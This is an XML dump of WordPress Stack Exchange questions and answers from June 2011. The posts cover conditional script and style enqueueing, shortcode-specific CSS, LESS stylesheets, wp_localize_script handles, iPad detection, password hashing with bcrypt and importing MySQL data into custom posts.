  <row Id="20859" PostTypeId="2" ParentId="20854" CreationDate="2011-06-23T15:34:45.623" Score="1" ViewCount="" Body="&lt;p&gt;Googling found me a &lt;em&gt;potential&lt;/em&gt; &lt;a href=&quot;http://www.nicolaskuttler.com/post/shortcodes-include-css-and-js-only-on-the-correct-blog-pages/&quot; rel=&quot;nofollow&quot;&gt;answer&lt;/a&gt;.  I say &quot;potential&quot; as in it looks good, should work, but I'm not 100% convinced it's the best way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'wp_print_styles', 'yourplugin_include_css' );&#xA;function yourplugin_include_css() {&#xA;    // Check if shortcode exists in page or post content&#xA;    global $post;&#xA;    if ( strstr( $post-&amp;gt;post_content, '[yourshortcode]' ) ) {&#xA;        echo $csslink;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should be able to check if the current post is using a shortcode and add a stylesheet to the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; element appropriately.  But I don't think it will work for an index (i.e. multiple posts in the loop) page ...  It's also from a 2-yr old blog post, so I'm not even sure it will work with WP 3.1.X.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-23T15:34:45.623" CommentCount="11" />
  <row Id="20860" PostTypeId="2" ParentId="20858" CreationDate="2011-06-23T15:39:16.460" Score="5" ViewCount="" Body="&lt;p&gt;Use bcrypt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codahale.com/how-to-safely-store-a-password/&quot; rel=&quot;nofollow&quot;&gt;http://codahale.com/how-to-safely-store-a-password/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-23T15:39:16.460" CommentCount="3" />
  <row Id="20861" PostTypeId="2" ParentId="20857" CreationDate="2011-06-23T15:49:34.877" Score="3" ViewCount="" Body="&lt;p&gt;there's no foolproof method for doing this, but a quick and simple solution is to look at http user agent:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if( preg_match('/ipad/i',$_SERVER['HTTP_USER_AGENT']) ):&#xA;    echo &quot;is iPad&quot;;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-23T15:49:34.877" CommentCount="2" />
  <row Id="20862" PostTypeId="2" ParentId="20797" CreationDate="2011-06-23T16:08:20.100" Score="0" ViewCount="" Body="&lt;p&gt;You could look at adding a custom select meta box for the songs instead of just having multiple text boxes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then code it up to be a select box with each option in. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-06-23T16:08:20.100" />
  <row Id="20863" PostTypeId="2" ParentId="20770" CreationDate="2011-06-23T16:10:51.660" Score="3" ViewCount="" Body="&lt;p&gt;It's bad practice to do so purely because the Search Results page was found it just returned no results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 404 would be used if the search page didn't exist.&lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-06-23T16:10:51.660" />
  <row Id="20865" PostTypeId="1" CreationDate="2011-06-23T16:41:45.033" Score="1" ViewCount="55" Body="&lt;p&gt;we're creating a site where we want guest users to add pages to a favourites list (postIDs) so they can print or email their selection if they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the best way be to do this in wordpress? I think ajax but not too sure how to save it in the wordpress frame work. &lt;/p&gt;&#xA;" OwnerUserId="3978" LastActivityDate="2011-08-22T23:33:35.300" Title="allow guests to save favourite pages?" Tags="&lt;users&gt;&lt;save&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="20866" PostTypeId="1" CreationDate="2011-06-23T16:43:02.183" Score="0" ViewCount="117" Body="&lt;p&gt;I have a MySQL table with about 500 rows of entries each containing: title, author, series, and series number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone know how to mass convert the data into (1 entry per post) custom post type with title becoming post title, author and series as separate custom hierarchical taxonomies, and series number as a custom meta?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm planning to change from a simple MySQL database management system into a site in a WP MS installation.&lt;/p&gt;&#xA;" OwnerUserId="6311" LastActivityDate="2011-08-24T02:34:07.910" Title="Mass convert MySQL data entries into custom post type?" Tags="&lt;custom-post-types&gt;&lt;mysql&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20867" PostTypeId="2" ParentId="20854" CreationDate="2011-06-23T18:23:00.153" Score="2" ViewCount="" Body="&lt;p&gt;Based on my own experience, I've used a combination of method 1 &amp;amp; 2 - the architecture and footer scripts of 1, and the 'look-ahead' technique of 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the look-ahead though, I use regex in place of &lt;code&gt;stripos&lt;/code&gt;; personal preference, faster, and can check for 'malformed' shortcode;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;preg_match( '#\[ *shortcode([^\]])*\]#i', $content );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're concerned about authors using &lt;code&gt;do_shortcode&lt;/code&gt; manually, I would opt to instruct them to &lt;strike&gt;use an action call&lt;/strike&gt; enqueue your pre-registered style manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: For the lazy author who never RTFM, output a message to highlight the &lt;strong&gt;error&lt;/strong&gt; of their ways ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_shortcode()&#xA;{&#xA;    static $enqueued;&#xA;    if ( ! isset( $enqueued ) )&#xA;        $enqueued = wp_style_is( 'my_style', 'done' ); // cache it so we don't repeat if called over and over&#xA;&#xA;    // do shortcode&#xA;    $output = '';&#xA;&#xA;    if ( ! $enqueued )&#xA;        // you can output the message on first occurence only by wrapping it in the previous if&#xA;        $output .= &amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;p&amp;gt;Attention! You must enqueue the shortcode stylesheet yourself if calling &amp;lt;code&amp;gt;do_shortcode()&amp;lt;/code&amp;gt; directly!&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Use &amp;lt;code&amp;gt;wp_enqueue_style( 'my_style' );&amp;lt;/code&amp;gt; before your &amp;lt;code&amp;gt;get_header()&amp;lt;/code&amp;gt; call inside your template.&amp;lt;/p&amp;gt;&#xA;HTML;&#xA;&#xA;    return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1685" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-23T19:25:01.887" LastActivityDate="2011-06-23T19:25:01.887" CommentCount="8" />
  <row Id="20868" PostTypeId="2" ParentId="20837" CreationDate="2011-06-23T18:23:25.383" Score="0" ViewCount="" Body="&lt;p&gt;Here's is the filter from &lt;code&gt;wp_get_attachment_link()&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apply_filters( 'wp_get_attachment_link', &quot;&amp;lt;a href='$url' title='$post_title'&amp;gt;$link_text&amp;lt;/a&amp;gt;&quot;, $id, $size, $permalink, $icon, $text );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_filter&quot; rel=&quot;nofollow&quot;&gt;modify it&lt;/a&gt; to your needs.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-23T18:23:25.383" CommentCount="1" />
  <row Id="20869" PostTypeId="1" CreationDate="2011-06-23T18:25:28.733" Score="-2" ViewCount="59" Body="&lt;p&gt;my wordpress instalation have a plugin that &quot;probably&quot; use wp_insert_post() to send content to database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but sometime when i edit the POST with the tinyMCE editor, the editor do the some magic! and my content are mutch more clean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so, i need some advice. I dont whant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Click the edit Post&#xA;2- click the Visual on tinymce&#xA;3- Click Update&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i whant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- wp_insert_post() get 'the_content' and filter it like tinyMCE do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you :) i will wait some good reply from all of you :)&lt;/p&gt;&#xA;" OwnerUserId="6447" LastActivityDate="2011-06-23T22:19:16.240" Title="wp_insert_post() dont post content like i need it :(" Tags="&lt;tinymce&gt;&lt;visual-editor&gt;&lt;wp-insert-post&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20871" PostTypeId="2" ParentId="20865" CreationDate="2011-06-23T18:30:52.303" Score="0" ViewCount="" Body="&lt;p&gt;You can save the information directly to a database table, so you'd have a table of userIDs associated with postIDs, and to get the list of posts that user has favorited, you can run a query on the database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/wpdb&quot; rel=&quot;nofollow&quot;&gt;Class Reference/wpdb&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-23T18:30:52.303" />
  <row Id="20872" PostTypeId="2" ParentId="20866" CreationDate="2011-06-23T18:36:47.573" Score="0" ViewCount="" Body="&lt;p&gt;You can use the following method :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export your SQL data and make a CSV&#xA;file out of it &lt;/li&gt;&#xA;&lt;li&gt;Parse that CSV file in&#xA;a PHP script and put the data into an array&lt;/li&gt;&#xA;&lt;li&gt;Parse the array and for each row, insert the values into WP&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will need the following functions to insert the data into WP :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;wp_insert_post()&lt;/a&gt; to create and insert post data (title, content, etc.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term()&lt;/a&gt; to create the taxonomies terms and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_post_terms&quot; rel=&quot;nofollow&quot;&gt;wp_set_post_terms()&lt;/a&gt; to set them for each post&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/update_post_meta&quot; rel=&quot;nofollow&quot;&gt;update_post_meta()&lt;/a&gt; to insert the custom field data of your posts&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I suggest before doing all that you register the custom post type and taxonomies you are going to use in WP.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-23T18:36:47.573" CommentCount="3" />
  <row Id="20873" PostTypeId="1" AcceptedAnswerId="20875" CreationDate="2011-06-23T18:38:57.757" Score="3" ViewCount="254" Body="&lt;p&gt;This is the code im using in my functions file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'sort_out_jquery_pngfix_frontend');&#xA;function sort_out_jquery_pngfix_frontend() {&#xA;    global $wp_scripts;&#xA;    if(!is_admin()) {&#xA;        wp_deregister_script('jquery');&#xA;        wp_register_script('jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js', array(), NULL, true);&#xA;        wp_register_script('dd_belatedpng', get_stylesheet_directory_uri() . '/js/dd_belatedpng.js', array(), NULL, true);&#xA;        $wp_scripts-&amp;gt;add_data('dd_belatedpng', 'conditional', 'lt IE 7');&#xA;    }&#xA;}&#xA;&#xA;add_action('wp_print_scripts', 'register_theme_scripts');&#xA;function register_theme_scripts() {&#xA;    if(!is_admin()) {&#xA;        wp_enqueue_script('modernizr', get_stylesheet_directory_uri() . '/js/modernizr-1.7.min.js', array(), NULL, false);&#xA;        wp_enqueue_script('googlemaps', 'http://maps.google.com/maps/api/js?sensor=false', array(), NULL, true);&#xA;        wp_enqueue_script('jquery');&#xA;        wp_enqueue_script('dd_belatedpng');&#xA;        wp_enqueue_script('sc_wc_js', get_stylesheet_directory_uri() . '/js/function.js', array('jquery', 'dd_belatedpng'), '1.0', true);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;$wp_scripts-&amp;gt;add_data('dd_belatedpng', 'conditional', 'lt IE 7');&lt;/code&gt; to add a conditional statement to this script as per the documentation I can find on-line but its not working. The conditional code is not shown but the js file is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this not working?&lt;/p&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-06-24T12:49:51.467" LastActivityDate="2011-06-24T12:51:17.567" Title="wp_enqueue_script adding conditional statement not working" Tags="&lt;conditional-content&gt;&lt;wp-enqueue-script&gt;" AnswerCount="6" CommentCount="3" />
  <row Id="20874" PostTypeId="2" ParentId="20857" CreationDate="2011-06-23T18:40:13.013" Score="0" ViewCount="" Body="&lt;p&gt;You want to use the &lt;a href=&quot;http://wurfl.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;WURFL&lt;/a&gt;, which is a constantly-updated, open-source device description repository. Follow &lt;a href=&quot;http://wurfl.sourceforge.net/nphp/&quot; rel=&quot;nofollow&quot;&gt;these instructions&lt;/a&gt; to set up the API on your Wordpress install, and then you'll be able to query the WURFL database for &quot;&lt;a href=&quot;http://www.tera-wurfl.com/explore/?action=wurfl_id&amp;amp;id=apple_ipad_ver1&quot; rel=&quot;nofollow&quot;&gt;WURFL ID: apple_ipad_ver1&lt;/a&gt;&quot;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-06-23T18:40:13.013" />
  <row Id="20875" PostTypeId="2" ParentId="20873" CreationDate="2011-06-23T18:47:34.147" Score="4" ViewCount="" Body="&lt;p&gt;From quick look at code this conditional only seems to be processed for styles and not scripts.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T18:47:34.147" CommentCount="1" />
  <row Id="20876" PostTypeId="1" AcceptedAnswerId="20879" CreationDate="2011-06-23T18:59:59.090" Score="2" ViewCount="83" Body="&lt;p&gt;What I'm trying to do is use &lt;a href=&quot;http://lesscss.org/&quot; rel=&quot;nofollow&quot;&gt;less css&lt;/a&gt; with Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're supposed to link to your .less files with the rel attribute set to 'stylesheet/less'.  But I can't figure out how to alter the code that enqueue_style outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to apply a filter and affect the output?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: If anyone is curious as to how I ended up getting this to work, here is the code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function enqueue_less_styles($tag, $handle) {&#xA;    global $wp_styles;&#xA;    $match_pattern = '/\.less$/U';&#xA;    if ( preg_match( $match_pattern, $wp_styles-&amp;gt;registered[$handle]-&amp;gt;src ) ) {&#xA;        $handle = $wp_styles-&amp;gt;registered[$handle]-&amp;gt;handle;&#xA;        $media = $wp_styles-&amp;gt;registered[$handle]-&amp;gt;args;&#xA;        $href = $wp_styles-&amp;gt;registered[$handle]-&amp;gt;src . '?ver=' . $wp_styles-&amp;gt;registered[$handle]-&amp;gt;ver;&#xA;        $rel = isset($wp_styles-&amp;gt;registered[$handle]-&amp;gt;extra['alt']) &amp;amp;&amp;amp; $wp_styles-&amp;gt;registered[$handle]-&amp;gt;extra['alt'] ? 'alternate stylesheet' : 'stylesheet';&#xA;        $title = isset($wp_styles-&amp;gt;registered[$handle]-&amp;gt;extra['title']) ? &quot;title='&quot; . esc_attr( $wp_styles-&amp;gt;registered[$handle]-&amp;gt;extra['title'] ) . &quot;'&quot; : '';&#xA;&#xA;        $tag = &quot;&amp;lt;link rel='stylesheet' id='$handle' $title href='$href' type='text/less' media='$media' /&amp;gt;&quot;;&#xA;    }&#xA;    return $tag;&#xA;}&#xA;add_filter( 'style_loader_tag', 'enqueue_less_styles', 5, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6449" LastEditorUserId="6449" LastEditorDisplayName="" LastEditDate="2011-08-30T20:50:03.523" LastActivityDate="2011-08-30T20:50:03.523" Title="LESS CSS enqueue_style with add_filter to change rel attribute" Tags="&lt;add-filter&gt;&lt;wp-enqueue-style&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="20877" PostTypeId="2" ParentId="20873" CreationDate="2011-06-23T19:07:34.937" Score="3" ViewCount="" Body="&lt;p&gt;It is a long shot, but you might try &lt;em&gt;registering&lt;/em&gt; the script, &lt;em&gt;then&lt;/em&gt; adding in the conditional, and &lt;em&gt;then&lt;/em&gt; enqueueing the script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Register the script&#xA;wp_register_script( 'dd_belatedpng', get_stylesheet_directory_uri() . '/js/dd_belatedpng.js', array(), NULL, true );&#xA;// Attempt to add in the IE conditional tags&#xA;$wp_scripts-&amp;gt;add_data('dd_belatedpng', 'conditional', 'lt IE 7');&#xA;// Enqueue the script&#xA;wp_enqueue_script( 'dd_belatedpng' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know that it will work, though&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the related Trac ticket, it appears &lt;code&gt;$wp_scripts&lt;/code&gt; doesn't support this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may just need to pull the script out of the &lt;code&gt;wp_enqueue_script()&lt;/code&gt; system, and echo the IE conditional-enclosed script call inside of a pluggable function hooked into &lt;code&gt;wp_print_scripts&lt;/code&gt; or &lt;code&gt;wp_head&lt;/code&gt;. It's certainly not ideal, but if this is a single-use client Theme, then you don't have to worry about someone else needing to deregister the script.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-24T12:30:22.063" LastActivityDate="2011-06-24T12:30:22.063" CommentCount="4" />
  <row Id="20878" PostTypeId="2" ParentId="20873" CreationDate="2011-06-23T19:08:15.360" Score="1" ViewCount="" Body="&lt;p&gt;It looks like you are putting it in the footer.  Did you look at the end of the page for the JS file?&lt;/p&gt;&#xA;" OwnerUserId="6449" LastActivityDate="2011-06-23T19:08:15.360" CommentCount="1" />
  <row Id="20879" PostTypeId="2" ParentId="20876" CreationDate="2011-06-23T19:09:52.940" Score="2" ViewCount="" Body="&lt;p&gt;Yep, final style link output is passed through &lt;code&gt;style_loader_tag&lt;/code&gt; filter.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T19:09:52.940" CommentCount="1" />
  <row Id="20880" PostTypeId="2" ParentId="13444" CreationDate="2011-06-23T19:24:30.513" Score="0" ViewCount="" Body="&lt;p&gt;you may try this solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://revisedagain.com/2011/custom-rewrite-rules-with-wordpress-timthumb/&quot; rel=&quot;nofollow&quot;&gt;http://revisedagain.com/2011/custom-rewrite-rules-with-wordpress-timthumb/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from URL above:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This rule tells the server that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.com/resize/160×130/r/wp-content/uploads/2011/03/pic.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be interpreted as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.domain.com/resize/timthumb.php?src=/wp-content/uploads/2011/03/pic.jpg&amp;amp;h=130&amp;amp;w=160&amp;amp;c=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6450" LastActivityDate="2011-06-23T19:24:30.513" />
  <row Id="20881" PostTypeId="2" ParentId="20873" CreationDate="2011-06-23T19:41:41.043" Score="1" ViewCount="" Body="&lt;p&gt;This works for scripts too. But only in one situation: If the script was &lt;code&gt;registered&lt;/code&gt; first. You can't go straight for &lt;code&gt;enqueue&lt;/code&gt;. You'll have to do: &lt;code&gt;register&lt;/code&gt; -&gt; &lt;code&gt;add_data&lt;/code&gt; -&gt; &lt;code&gt;enqueue&lt;/code&gt;. This is both for scripts as for styles the same rule.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-23T19:41:41.043" CommentCount="4" />
  <row Id="20882" PostTypeId="1" AcceptedAnswerId="20888" CreationDate="2011-06-23T20:35:49.483" Score="1" ViewCount="49" Body="&lt;p&gt;Can anyone tell me what the &quot;&lt;code&gt;$handle&lt;/code&gt;&quot; ( first parameter ) of &lt;code&gt;wp_localize_script&lt;/code&gt; is normally used for. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s.: I have no idea why but stackexchange is telling me this question dosen't meet quality standards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: When i put in my ps it accepted it so i suppose it's the length of the quesion.... if you feel like this is an unacceptable question then apologies &lt;/p&gt;&#xA;" OwnerUserId="6169" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-06-23T21:00:48.743" LastActivityDate="2011-06-24T12:15:46.667" Title="wp_localize_script $handle" Tags="&lt;plugin-development&gt;&lt;javascript&gt;&lt;ajax&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="20883" PostTypeId="1" CreationDate="2011-06-23T20:50:16.663" Score="2" ViewCount="102" Body="&lt;p&gt;I am a senior in a college computer science program, and therefore have a decent knowledge of code and several languages. However, I am doing a summer internship type program, and the company I am working with hosts their webpage on Wordpress, which to which I am new. They want me to edit some of the code in order to do various things, such as enable a photo container to be a moving slideshow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figuring out the javascript and html to achieve the results they desire is not problematic for me. However, I am unsure how to get full access to the Source Code of the site. I have privileged access to the backend of the site but in wordpress when you go to edit it only shows some of the basic html tags while hiding the and tags and code. Is there any way edit the page in its source code format? I don't want to have to go through the simplified and less expressive/less control Wordpress interface, and I don't even know if I can achieve the desired results with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="6451" LastActivityDate="2011-06-23T22:10:58.387" Title="Editing Source Code in Wordpress" Tags="&lt;javascript&gt;&lt;editor&gt;&lt;code&gt;&lt;scripts&gt;" AnswerCount="3" />
  <row Id="20884" PostTypeId="2" ParentId="20882" CreationDate="2011-06-23T20:56:47.793" Score="0" ViewCount="" Body="&lt;p&gt;The handle is arbitrary (as in not technically meaningful) name of script that is used for human convenience when declaring it with &lt;code&gt;wp_register_script()&lt;/code&gt;/&lt;code&gt;wp_enqueue_script()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first you declare script (or look up handle of already declared one) and then you can use handle to assign localization object to it with &lt;code&gt;wp_localize_script()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T20:56:47.793" CommentCount="3" />
  <row Id="20885" PostTypeId="2" ParentId="5858" CreationDate="2011-06-23T20:57:30.400" Score="0" ViewCount="" Body="&lt;p&gt;Apparently this is a common problem with WordPress 3.1+ (just had to fix it on a site I built too). You can get a plugin or a code snippet for your functions.php to fix the problem here: &lt;a href=&quot;http://wpcodesnippets.info/blog/how-to-fix-the-wp-3-1-custom-permalinks-bug.html&quot; rel=&quot;nofollow&quot;&gt;http://wpcodesnippets.info/blog/how-to-fix-the-wp-3-1-custom-permalinks-bug.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6453" LastActivityDate="2011-06-23T20:57:30.400" />
  <row Id="20886" PostTypeId="2" ParentId="20882" CreationDate="2011-06-23T20:58:38.387" Score="0" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$handle&lt;/code&gt; is for all the &lt;code&gt;script&lt;/code&gt; and &lt;code&gt;style&lt;/code&gt; functions the given name. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// @example: &#xA;wp_register_style( 'my-example-script', '/path/to/scripts/script.js', 'etc.' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_style( 'my-example-script' );&#xA;// or&#xA;wp_localize_script( 'my-example-script' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-06-24T12:15:46.667" LastActivityDate="2011-06-24T12:15:46.667" />
  <row Id="20887" PostTypeId="2" ParentId="20883" CreationDate="2011-06-23T20:58:47.583" Score="7" ViewCount="" Body="&lt;p&gt;You don't want to edit core WordPress code. You don't &lt;em&gt;need&lt;/em&gt; to edit core WordPress code to do what you need to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need to study the WordPress &lt;a href=&quot;http://codex.wordpress.org/Using_Themes&quot; rel=&quot;nofollow&quot;&gt;templating (i.e. Theme) functionality&lt;/a&gt;. Then, you need to study &lt;a href=&quot;http://codex.wordpress.org/Plugins&quot; rel=&quot;nofollow&quot;&gt;Plugins&lt;/a&gt; and the WordPress Hooks API, including its &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Action Hooks&lt;/a&gt; and its &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference&quot; rel=&quot;nofollow&quot;&gt;Filter Hooks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you're describing, you definitely don't need to modify core files. You just need to enqueue the appropriate script library, and then execute the script in your template.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-23T20:58:47.583" />
  <row Id="20888" PostTypeId="2" ParentId="20882" CreationDate="2011-06-23T20:59:53.987" Score="3" ViewCount="" Body="&lt;p&gt;It's basically a unique id of the script you registered or enqueued before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say we enqueued a two scripts with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;wp_enqueue_script()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script( 'my_script_1','/js/some_script.js' );&#xA;&#xA;wp_enqueue_script( 'my_script_2','/js/some_other_script.js' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you want to pass your &lt;code&gt;$data&lt;/code&gt; to the script #2 with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;wp_localize_script()&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_localize_script( 'my_script_2', 'my_script_2_local', $data );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this - when WordPress prints out your &lt;code&gt;my_script_2&lt;/code&gt; it will print out your &lt;code&gt;$data&lt;/code&gt; variables along with it so you can use them in your script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see &lt;code&gt;my_script_2&lt;/code&gt; is our handle here - it makes the link between our script functions.&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-06-23T20:59:53.987" />
  <row Id="20889" PostTypeId="2" ParentId="20883" CreationDate="2011-06-23T21:05:49.033" Score="4" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However, I am unsure how to get full access to the Source Code of the site.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will need FTP/SFTP access to for decent development experience.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have privileged access to the backend of the site but in wordpress when you go to edit it only shows some of the basic html tags while hiding the and tags and code. Is there any way edit the page in its source code format?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Natively posts/pages only hold HTML content (no code). That outputs gets combined by currently active &lt;em&gt;theme&lt;/em&gt; with &lt;em&gt;template&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want some specific page extensively customized you will likely need to create and add template for it in theme. But I am not too sure you are using correct terminology here, in WordPress posts and pages are different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI official docs at &lt;a href=&quot;http://codex.wordpress.org&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org&lt;/a&gt; cover a lot of stuff, but are far from perfect. And of course you are welcome to sak question here, just try to make them precise and manageable - the more specific question is, the more likely you are to get good answers.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-23T21:05:49.033" />
